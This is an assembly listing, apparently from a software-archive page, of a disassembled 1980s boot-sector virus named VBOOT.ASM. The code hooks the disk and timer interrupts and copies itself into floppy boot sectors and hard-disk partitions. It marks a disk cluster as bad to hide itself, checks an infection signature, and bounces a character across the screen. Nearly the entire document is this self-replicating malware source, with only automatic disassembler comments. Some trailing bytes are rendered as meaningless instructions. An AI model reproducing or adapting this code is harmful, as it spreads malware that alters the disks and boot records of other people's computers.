home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VBOOT.ASM < prev    next >
Assembly Source File  |  1989-03-05  |  10KB  |  514 lines

  1.         jmp    short loc_3
  2.         nop
  3.         dec    cx
  4.         inc    dx
  5.         dec    bp
  6.         and    [bx+si],ah
  7.         xor    bp,data_10
  8.         add    al,[si]
  9. data_14     dw    1
  10.         add    al,[bx+si]
  11.         add    bh,[bp+di]
  12.         mov    data_12,al
  13.         add    [bx+di],dl
  14.         add    [si],al
  15.         add    [bx+di],dl
  16.         add    [bp+di],dh
  17. loc_3:
  18.         xor    ax,ax
  19.         mov    ss,ax
  20.         mov    sp,7C00h
  21.         mov    ds,ax
  22.         mov    ax,data_5
  23.         sub    ax,2
  24.         mov    data_5,ax
  25.         mov    cl,6
  26.         shl    ax,cl                ; Shift w/zeros fill
  27.         sub    ax,7C0h
  28.         mov    es,ax
  29.         mov    si,7C00h
  30.         mov    di,si
  31.         mov    cx,100h
  32.         rep    movsw                ; Rep while cx>0 Mov [si] to es:[di]
  33.         db    8Eh
  34.         db    0C8h
  35.         push    cs
  36.         pop    ds
  37.         call    sub_1
  38.  
  39. ;==========================================================================
  40. ;                   SUBROUTINE
  41. ;==========================================================================
  42.  
  43. sub_1        proc    near
  44.         xor    ah,ah                ; Zero register
  45.         int    13h                ; Disk    dl=drive b: ah=func 00h
  46.                             ;  reset disk, al=return status
  47.         and    data_24,80h
  48.         mov    bx,data_25
  49.         push    cs
  50.         pop    ax
  51.         sub    ax,20h
  52.         mov    es,ax
  53.         call    sub_3
  54.         mov    bx,data_25
  55.         inc    bx
  56.         mov    ax,0FFC0h
  57.         mov    es,ax
  58.         call    sub_3
  59.         xor    ax,ax                ; Zero register
  60.         mov    data_23,al
  61.         mov    ds,ax
  62.         mov    ax,data_3
  63.         mov    bx,data_4
  64.         mov    data_3,7CD0h
  65.         mov    data_4,cs
  66.         push    cs
  67.         pop    ds
  68.         mov    data_19,ax
  69.         mov    data_20,bx
  70.         mov    dl,data_24
  71.         jmp    far ptr loc_2
  72. sub_1        endp
  73.  
  74.  
  75. ;==========================================================================
  76. ;                   SUBROUTINE
  77. ;==========================================================================
  78.  
  79. sub_2        proc    near
  80.         mov    ax,301h
  81.         jmp    short loc_4
  82.  
  83. ;==== External Entry into Subroutine ======================================
  84.  
  85. sub_3:
  86.         mov    ax,201h
  87. loc_4:
  88.         xchg    ax,bx
  89.         add    ax,data_18
  90.         xor    dx,dx                ; Zero register
  91.         div    data_16             ; ax,dxrem=dx:ax/data
  92.         inc    dl
  93.         mov    ch,dl
  94.         xor    dx,dx                ; Zero register
  95.         div    data_17             ; ax,dxrem=dx:ax/data
  96.         mov    cl,6
  97.         shl    ah,cl                ; Shift w/zeros fill
  98.         or    ah,ch
  99.         mov    cx,ax
  100.         xchg    ch,cl
  101.         mov    dh,dl
  102.         mov    ax,bx
  103.  
  104. ;==== External Entry into Subroutine ======================================
  105.  
  106. sub_4:
  107.         mov    dl,data_24
  108.         mov    bx,8000h
  109.         int    13h                ; Disk    dl=drive b: ah=func 02h
  110.                             ;  read sectors to memory es:bx
  111.         jnc    loc_ret_5            ; Jump if carry=0
  112.         pop    ax
  113.  
  114. loc_ret_5:
  115.         retn
  116. sub_2        endp
  117.  
  118.         push    ds
  119.         push    es
  120.         push    ax
  121.         push    bx
  122.         push    cx
  123.         push    dx
  124.         push    cs
  125.         pop    ds
  126.         push    cs
  127.         pop    es
  128.         test    data_23,1
  129.         jnz    loc_8                ; Jump if not zero
  130.         cmp    ah,2
  131.         jne    loc_8                ; Jump if not equal
  132.         cmp    data_24,dl
  133.         mov    data_24,dl
  134.         jnz    loc_7                ; Jump if not zero
  135.         xor    ah,ah                ; Zero register
  136.         int    1Ah                ; Real time clock   ah=func 00h
  137.                             ;  get system timer count cx,dx
  138.         test    dh,7Fh
  139.         jnz    loc_6                ; Jump if not zero
  140.         test    dl,0F0h
  141.         jnz    loc_6                ; Jump if not zero
  142.         push    dx
  143.         call    sub_6
  144.         pop    dx
  145. loc_6:
  146.         mov    cx,dx
  147.         sub    dx,data_26
  148.         mov    data_26,cx
  149.         sub    dx,24h
  150.         jc    loc_8                ; Jump if carry Set
  151. loc_7:
  152.         or    data_23,1
  153.         push    si
  154.         push    di
  155.         call    sub_5
  156.         pop    di
  157.         pop    si
  158.         and    data_23,0FEh
  159. loc_8:
  160.         pop    dx
  161.         pop    cx
  162.         pop    bx
  163.         pop    ax
  164.         pop    es
  165.         pop    ds
  166.         jmp    far ptr loc_38
  167.  
  168. ;==========================================================================
  169. ;                   SUBROUTINE
  170. ;==========================================================================
  171.  
  172. sub_5        proc    near
  173.         mov    ax,201h
  174.         mov    dh,0
  175.         mov    cx,1
  176.         call    sub_4
  177.         test    data_24,80h
  178.         jz    loc_11                ; Jump if zero
  179.         mov    si,81BEh
  180.         mov    cx,4
  181.  
  182. locloop_9:
  183.         cmp    data_8[si],1
  184.         je    loc_10                ; Jump if equal
  185.         cmp    data_8[si],4
  186.         je    loc_10                ; Jump if equal
  187.         add    si,10h
  188.         loop    locloop_9            ; Loop if cx > 0
  189.  
  190.         retn
  191. loc_10:
  192.         mov    dx,[si]
  193.         mov    cx,data_7[si]
  194.         mov    ax,201h
  195.         call    sub_4
  196. loc_11:
  197.         mov    si,8002h
  198.         mov    di,7C02h
  199.         mov    cx,1Ch
  200.         rep    movsb                ; Rep while cx>0 Mov [si] to es:[di]
  201.         cmp    data_46,1357h
  202.         jne    loc_13                ; Jump if not equal
  203.         cmp    data_45,0
  204.         jae    loc_ret_12            ; Jump if above or =
  205.         mov    ax,data_43
  206.         mov    data_22,ax
  207.         mov    si,data_44
  208.         jmp    loc_23
  209.  
  210. loc_ret_12:
  211.         retn
  212. loc_13:
  213.         cmp    data_37,200h
  214.         jne    loc_ret_12            ; Jump if not equal
  215.         cmp    data_38,2
  216.         jb    loc_ret_12            ; Jump if below
  217.         mov    cx,data_39
  218.         mov    al,data_40
  219.         cbw                    ; Convrt byte to word
  220.         mul    data_42             ; ax = data * ax
  221.         add    cx,ax
  222.         mov    ax,20h
  223.         mul    data_41             ; ax = data * ax
  224.         add    ax,1FFh
  225.         mov    bx,200h
  226.         div    bx                ; ax,dx rem=dx:ax/reg
  227.         add    cx,ax
  228.         mov    data_22,cx
  229.         mov    ax,data_15
  230.         sub    ax,data_22
  231.         mov    bl,data_13
  232.         xor    dx,dx                ; Zero register
  233.         xor    bh,bh                ; Zero register
  234.         div    bx                ; ax,dx rem=dx:ax/reg
  235.         inc    ax
  236.         mov    di,ax
  237.         and    data_23,0FBh
  238.         cmp    ax,0FF0h
  239.         jbe    loc_14                ; Jump if below or =
  240.         or    data_23,4
  241. loc_14:
  242.         mov    si,1
  243.         mov    bx,data_14
  244.         dec    bx
  245.         mov    data_21,bx
  246.         mov    data_27,0FEh
  247.         jmp    short loc_15
  248. data_21     dw    1Ah
  249. data_22     dw    73h
  250. data_23     db    4
  251. data_24     db    81h
  252. data_25     dw    654Bh
  253.         add    data_9[bx],dl
  254.         push    bp
  255.         stosb                    ; Store al to es:[di]
  256. loc_15:
  257.         inc    data_21
  258.         mov    bx,data_21
  259.         add    data_27,2
  260.         call    sub_3
  261.         jmp    short loc_20
  262. loc_16:
  263.         mov    ax,3
  264.         test    data_23,4
  265.         jz    loc_17                ; Jump if zero
  266.         inc    ax
  267. loc_17:
  268.         mul    si                ; dx:ax = reg * ax
  269.         shr    ax,1                ; Shift w/zeros fill
  270.         sub    ah,data_27
  271.         mov    bx,ax
  272.         cmp    bx,1FFh
  273.         jae    loc_15                ; Jump if above or =
  274.         mov    dx,data_36[bx]
  275.         test    data_23,4
  276.         jnz    loc_19                ; Jump if not zero
  277.         mov    cl,4
  278.         test    si,1
  279.         jz    loc_18                ; Jump if zero
  280.         shr    dx,cl                ; Shift w/zeros fill
  281. loc_18:
  282.         and    dh,0Fh
  283. loc_19:
  284.         test    dx,0FFFFh
  285.         jz    loc_21                ; Jump if zero
  286. loc_20:
  287.         inc    si
  288.         cmp    si,di
  289.         jbe    loc_16                ; Jump if below or =
  290.         retn
  291. loc_21:
  292.         mov    dx,0FFF7h
  293.         test    data_23,4
  294.         jnz    loc_22                ; Jump if not zero
  295.         and    dh,0Fh
  296.         mov    cl,4
  297.         test    si,1
  298.         jz    loc_22                ; Jump if zero
  299.         shl    dx,cl                ; Shift w/zeros fill
  300. loc_22:
  301.         or    data_36[bx],dx
  302.         mov    bx,data_21
  303.         call    sub_2
  304.         mov    ax,si
  305.         sub    ax,2
  306.         mov    bl,data_13
  307.         xor    bh,bh                ; Zero register
  308.         mul    bx                ; dx:ax = reg * ax
  309.         add    ax,data_22
  310.         mov    si,ax
  311.         mov    bx,0
  312.         call    sub_3
  313.         mov    bx,si
  314.         inc    bx
  315.         call    sub_2
  316. loc_23:
  317.         mov    bx,si
  318.         mov    data_25,si
  319.         push    cs
  320.         pop    ax
  321.         sub    ax,20h
  322.         mov    es,ax
  323.         call    sub_2
  324.         push    cs
  325.         pop    ax
  326.         sub    ax,40h
  327.         mov    es,ax
  328.         mov    bx,0
  329.         call    sub_2
  330.         retn
  331. sub_5        endp
  332.  
  333. data_26     dw    246Eh
  334. data_27     db    32h
  335.  
  336. ;==========================================================================
  337. ;                   SUBROUTINE
  338. ;==========================================================================
  339.  
  340. sub_6        proc    near
  341.         test    data_23,2
  342.         jnz    loc_ret_24            ; Jump if not zero
  343.         or    data_23,2
  344.         mov    ax,0
  345.         mov    ds,ax
  346.         mov    ax,data_1
  347.         mov    bx,data_2
  348.         mov    data_1,7EDFh
  349.         mov    data_2,cs
  350.         push    cs
  351.         pop    ds
  352.         mov    data_28,ax
  353.         mov    data_29,bx
  354.  
  355. loc_ret_24:
  356.         retn
  357. sub_6        endp
  358.  
  359.         push    ds
  360.         push    ax
  361.         push    bx
  362.         push    cx
  363.         push    dx
  364.         push    cs
  365.         pop    ds
  366.         mov    ah,0Fh
  367.         int    10h                ; Video display   ah=functn 0Fh
  368.                             ;  get state, al=mode, bh=page
  369.         mov    bl,al
  370.         cmp    bx,data_34
  371.         je    loc_27                ; Jump if equal
  372.         mov    data_34,bx
  373.         dec    ah
  374.         mov    data_35,ah
  375.         mov    ah,1
  376.         cmp    bl,7
  377.         jne    loc_25                ; Jump if not equal
  378.         dec    ah
  379. loc_25:
  380.         cmp    bl,4
  381.         jae    loc_26                ; Jump if above or =
  382.         dec    ah
  383. loc_26:
  384.         mov    data_33,ah
  385.         mov    data_31,101h
  386.         mov    data_32,101h
  387.         mov    ah,3
  388.         int    10h                ; Video display   ah=functn 03h
  389.                             ;  get cursor loc in dx, mode cx
  390.         push    dx
  391.         mov    dx,data_31
  392.         jmp    short loc_29
  393. loc_27:
  394.         mov    ah,3
  395.         int    10h                ; Video display   ah=functn 03h
  396.                             ;  get cursor loc in dx, mode cx
  397.         push    dx
  398.         mov    ah,2
  399.         mov    dx,data_31
  400.         int    10h                ; Video display   ah=functn 02h
  401.                             ;  set cursor location in dx
  402.         mov    ax,data_30
  403.         cmp    data_33,1
  404.         jne    loc_28                ; Jump if not equal
  405.         mov    ax,8307h
  406. loc_28:
  407.         mov    bl,ah
  408.         mov    cx,1
  409.         mov    ah,9
  410.         int    10h                ; Video display   ah=functn 09h
  411.                             ;  set char al & attrib ah @curs
  412. loc_29:
  413.         mov    cx,data_32
  414.         cmp    dh,0
  415.         jne    loc_30                ; Jump if not equal
  416.         xor    ch,0FFh
  417.         inc    ch
  418. loc_30:
  419.         cmp    dh,18h
  420.         jne    loc_31                ; Jump if not equal
  421.         xor    ch,0FFh
  422.         inc    ch
  423. loc_31:
  424.         cmp    dl,0
  425.         jne    loc_32                ; Jump if not equal
  426.         xor    cl,0FFh
  427.         inc    cl
  428. loc_32:
  429.         cmp    dl,data_35
  430.         jne    loc_33                ; Jump if not equal
  431.         xor    cl,0FFh
  432.         inc    cl
  433. loc_33:
  434.         cmp    cx,data_32
  435.         jne    loc_35                ; Jump if not equal
  436.         mov    ax,data_30
  437.         and    al,7
  438.         cmp    al,3
  439.         jne    loc_34                ; Jump if not equal
  440.         xor    ch,0FFh
  441.         inc    ch
  442. loc_34:
  443.         cmp    al,5
  444.         jne    loc_35                ; Jump if not equal
  445.         xor    cl,0FFh
  446.         inc    cl
  447. loc_35:
  448.         add    dl,cl
  449.         add    dh,ch
  450.         mov    data_32,cx
  451.         mov    data_31,dx
  452.         mov    ah,2
  453.         int    10h                ; Video display   ah=functn 02h
  454.                             ;  set cursor location in dx
  455.         mov    ah,8
  456.         int    10h                ; Video display   ah=functn 08h
  457.                             ;  get char al & attrib ah @curs
  458.         mov    data_30,ax
  459.         mov    bl,ah
  460.         cmp    data_33,1
  461.         jne    loc_36                ; Jump if not equal
  462.         mov    bl,83h
  463. loc_36:
  464.         mov    cx,1
  465.         mov    ax,907h
  466.         int    10h                ; Video display   ah=functn 09h
  467.                             ;  set char al & attrib ah @curs
  468.         pop    dx
  469.         mov    ah,2
  470.         int    10h                ; Video display   ah=functn 02h
  471.                             ;  set cursor location in dx
  472.         pop    dx
  473.         pop    cx
  474.         pop    bx
  475.         pop    ax
  476.         pop    ds
  477.         jmp    far ptr loc_1
  478. data_30     dw    0
  479. data_31     dw    101h
  480. data_32     dw    101h
  481. data_33     db    0
  482. data_34     dw    0FFFFh
  483. data_35     db    50h
  484.         mov    bh,0B7h
  485.         mov    bh,0B6h
  486.         inc    ax
  487.         inc    ax
  488.         mov    dh,bl
  489.         out    5Ah,al                ; port 5Ah
  490.         lodsb                    ; String [si] to al
  491.         shl    ah,cl                ; Shift w/zeros fill
  492.         jmp    far ptr loc_39
  493.         inc    ax
  494.         db    64h
  495.         pop    sp
  496.         db    60h
  497.         push    dx
  498.         inc    ax
  499.         inc    ax
  500.         inc    ax
  501.         inc    ax
  502.         db    64h
  503.         db    62h
  504.         pop    si
  505.         db    62h
  506.         db    60h
  507.         pop    si
  508.         jo    loc_37                ; Jump if overflow=1
  509.         inc    ax
  510.         inc    cx
  511.         mov    bh,0B7h
  512.         mov    bh,0B6h
  513.  
  514.